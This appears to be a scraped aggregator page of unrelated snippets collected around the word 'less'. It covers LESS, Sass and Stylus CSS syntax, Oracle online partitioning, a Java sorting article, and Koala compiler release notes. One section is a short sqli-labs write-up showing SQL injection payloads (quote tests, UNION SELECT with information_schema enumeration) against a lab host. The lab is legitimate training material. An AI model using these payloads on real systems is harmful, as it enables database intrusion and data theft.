less

less、sass和stylus的基本总结

寵の児 提交于 2020-01-23 18:04:33
1. 基本语法区别 sass和less使用的是标准的css语法。默认的sass使用 .sass 扩展名;而less默认使用 .less 扩展名。 /* style.sass or style.less */ h1 { color : #000fff ; } /* sass也支持老的语法;就是不包含花括号和分号的写法 */ h1 color : #000fff stylus支持的语法更多样些,默认是 .styl 文件的扩展名: h1 { color : #000fff ; } h1 color : #000fff ; h1 color #000ff 2. 变量 sass: sass 最为重要的就是为css引入了变量,可以反复使用css属性值定义成变量然后通过变量来引用它们,而无需重复书写这一属性值; sass变量必须是以 $ 开头,然后变量和值之间用 ( : ) 隔开,和css属性一样。 $ maincolor : #000fff ; $ sizeWidth : 1024px ; body { color : $maincolor ; max-width : $sizeWidth ; } less css 来源: CSDN 作者: zlq_csdn 链接: https://blog.csdn.net/zlq_CSDN/article/details/103950999

12c以上的版本,对表进行在线分区(不使用在线重定义)

自作多情 提交于 2020-01-23 11:28:05
12c开始,对表进行在线分区,可以不使用在线重定义的方法。可以直接使用aleter table modify的方式进行分区。 参考文档: https://docs.oracle.com/en/database/oracle/oracle-database/12.2/vldbg/evolve-nopartition-table.html#GUID-5FDB7D59-DD05-40E4-8AB4-AF82EA0D0FE5 测试环境 RDBMS 19.6.0.0 -- 创建测试用的表 SQL> create table employees_convert as select * from hr.employees; Table created. SQL> -- 对测试的表进行转换 (在sys下不支持这样做 ) ALTER TABLE employees_convert MODIFY PARTITION BY RANGE (employee_id) INTERVAL (100) ( PARTITION P1 VALUES LESS THAN (150), PARTITION P2 VALUES LESS THAN (200) ) ONLINE UPDATE INDEXES ( IDX1_SALARY LOCAL, IDX2_EMP_ID GLOBAL PARTITION BY RANGE

less学习笔记

天涯浪子 提交于 2020-01-23 07:25:59
less基础内容 使用@来声明变量 url 变量 /* Less */ @images: "../img";//需要加引号 body { background: url("@{images}/dog.png");//变量名 必须使用大括号包裹 } /* 生成的 CSS */ body { background: url("../img/dog.png"); } 变量用于字符拼接使用方法: @className: box; @mainColor: #e92323; .@{className} { color: @mainColor; } 等价于 .box{ color: #e92323; } 嵌套使用: &,当需要连接时使用&,代表上层选择器的名字,如: .class { &:hover{ cursor: pointer; } img { ... } } 此时 &:hover 等同于 .class:hover{} ; 此时 img 等同于 .class img{} ; 媒体查询 @media .container{ width: 750px; @media screen { @media (max-width: 768px){ background-color: red; } } @media tv { background-color: yellow; } } 等同于 @media

How to change the theme color in less css using javascript/jquery

坚强是说给别人听的谎言 提交于 2020-01-23 06:31:26
问题 am using the below less css to change different theme color @lightRed: #fdd; @lightGreen: #dfd; @lightBlue: #ddf; @defaultThemeColor:@lightBlue; #header{ .wrapper(); width:@defaultWidth; height:80px; margin-bottom:20px; background:@defaultThemeColor; } #menu{ background:@defaultThemeColor; } And html is as follows: <div id="swatch"> <ul> <li><a href="">theme1</a></li> <li><a href="">theme2</a></li> <li><a href="">theme3</a></li> </ul> </div> when theme1 is clicked @lightRed theme should be

算法学习?挑战高薪的必经之路!让面试官满意的排序算法(图文解析)

谁说我不能喝 提交于 2020-01-23 00:28:53
让面试官满意的排序算法(图文解析) 这种排序算法能够让面试官面露微笑 这种排序算法集各排序算法之大成 这种排序算法逻辑性十足 这种排序算法能够展示自己对Java底层的了解 这种排序算法出自Vladimir Yaroslavskiy、Jon Bentley和Josh Bloch三位大牛之手,它就是JDK的排序算法——java.util.DualPivotQuicksort(双支点快排) 想看以往学习内容的朋友 可以看我的GitHub: https://github.com/Meng997998/AndroidJX 觉得文章枯燥的朋友,可以看 算法学习视频 DualPivotQuicksort 先看一副逻辑图(如有错误请大牛在评论区指正) 插排指的是改进版插排—— 哨兵插排 快排指的是改进版快排—— 双支点快排 DualPivotQuickSort没有Object数组排序的逻辑,此逻辑在Arrays中,好像是归并+Tim排序 图像应该很清楚:对于不同的数据类型,Java有不同的排序策略: byte、short、char 他们的取值范围有限,使用计数排序占用的空间也不过256/65536个单位,只要排序的数量不是特别少(有一个计数排序阈值,低于这个阈值的话就没有不要用空间换时间了),都应使用计数排序 int、long、float、double 他们的取值范围非常的大,不适合使用计数排序

LESS/Sass/CoffeeScript编译工具 - Koala v1.3.0 发布

↘锁芯ラ 提交于 2020-01-22 21:42:51
Koala v1.3.0 已发布,欢迎大家下载使用。 下载地址: http://koala-app.com/index-zh.html 更新说明: 新增功能:允许直接使用用户系统中已安装的编译程序。 新增功能:右键菜单增加“打开文件”选项。 设置默认输出路径为与项目目录同级目录下的css/js目录,如./less -> ./css。 修复bug:在遇到含空格目录时编译错误。 修复bug:config.rb解析出错导致无法添加项目。 UI优化,刷新文件列表状态提示。 加大版本号。 -------------------------------Koala 介绍---------------------------------- Koala是什么? koala是一个前端预处理器语言图形编译工具,支持Less、Sass、Compass、CoffeeScript,帮助web开发者更高效地使用它们进行开发。跨平台运行,完美兼容windows、linux、mac。 功能特性: 多语言支持:支持less、sass、coffeescript 和 compass framework。 实时编译:监听文件,当文件改变时自动执行编译,这一切都在后台运行,无需人工操作。 编译选项:可以设置各个语言的编译选项。 代码压缩:less & sass支持编译后自动代码压缩. 错误提示:在编译时如果遇到语法的错误

ActionView::Template::Error (variable @fontAwesomeEotPath_iefix is undefined)

孤街浪徒 提交于 2020-01-22 19:55:07
问题 I get an error while trying to load any page: ActionView::Template::Error (variable @fontAwesomeEotPath_iefix is undefined) (in /app/assets/stylesheets/bootstrap_and_overrides.css.less)): 2: <html> 3: <head> 4: <title>Program</title> 5: <%= stylesheet_link_tag "application", :media => "all" %> 6: <%= javascript_include_tag "application" %> 7: <%= csrf_meta_tags %> 8: </head> app/views/layouts/application.html.erb:5:in `_app_views_layouts_application_html_erb__242882506_70513990' app

less的使用

我是研究僧i 提交于 2020-01-22 19:13:03
一.使用方法 1.在页面中 引入 Less.js 需要注意的是,link 标签一定要在 Less.js 之前引入,并且 link 标签的 rel 属性要设置为stylesheet/less。 <link rel="stylesheet/less" href="style.less"> <script src="less.min.js"></script> 2.在命令行 使用npm安装 npm install -g less 具体使用命令 $ lessc styles.less > styles.css 二.Less 的功能特性 1.变量 (1)值变量 以 @ 开头 定义变量,并且使用时 直接 键入 @名称。 /* Less */ @color: #999; @bgColor: skyblue;//不要添加引号 @width: 50%; #wrap { color: @color; width: @width; } /* 生成后的 CSS */ #wrap { color: #999; width: 50%; } (2)选择器变量 让 选择器 变成 动态 /* Less */ @mySelector: #wrap; @Wrap: wrap; @{mySelector}{ //变量名 必须使用大括号包裹 color: #999; width: 50%; } .@{Wrap}{

sqli-labs实战wp1-4

我的未来我决定 提交于 2020-01-21 21:39:14
实验环境 http://43.247.91.228:84 Less-1 首先尝试一下 ?id=1' 报错 这里提醒了该数据库是Mysql 可能是后面的'没有闭合 输入 ?id=1'--+ 返回正常 然后用order by 去猜列数 猜3时返回正常 猜4时报错,说明列数是3 常规步骤 爆库->爆表->爆列 现在可以用union select 去回显某一列的内容 http://43.247.91.228:84/Less-1/?id=1' union select 1,2,3--+ 接下来开始要用mysql里自带的information_schema表 猜表名 http://43.247.91.228:84/Less-1/?id=1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+ 猜列名 http://43.247.91.228:84/Less-1/?id=1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+ 猜对应的内容 http://43.247.91.228:84

Is it possible to add a parent selector in LESS?

为君一笑 提交于 2020-01-21 05:42:06
问题 My css is structured in components, each component is stand-alone. example: .menu { background: black; } The framework I'm using sometimes adds a class to the body-tag. For example for logged in users it would look like this: <body class="loggedIn"> <div class="menu"</div> </body I would like to keep the css structured inside each component. Is it possible to add a selector in less that is added before the parent? Something like: .menu{ %loggedIn{ color: red } } should give loggedIn users a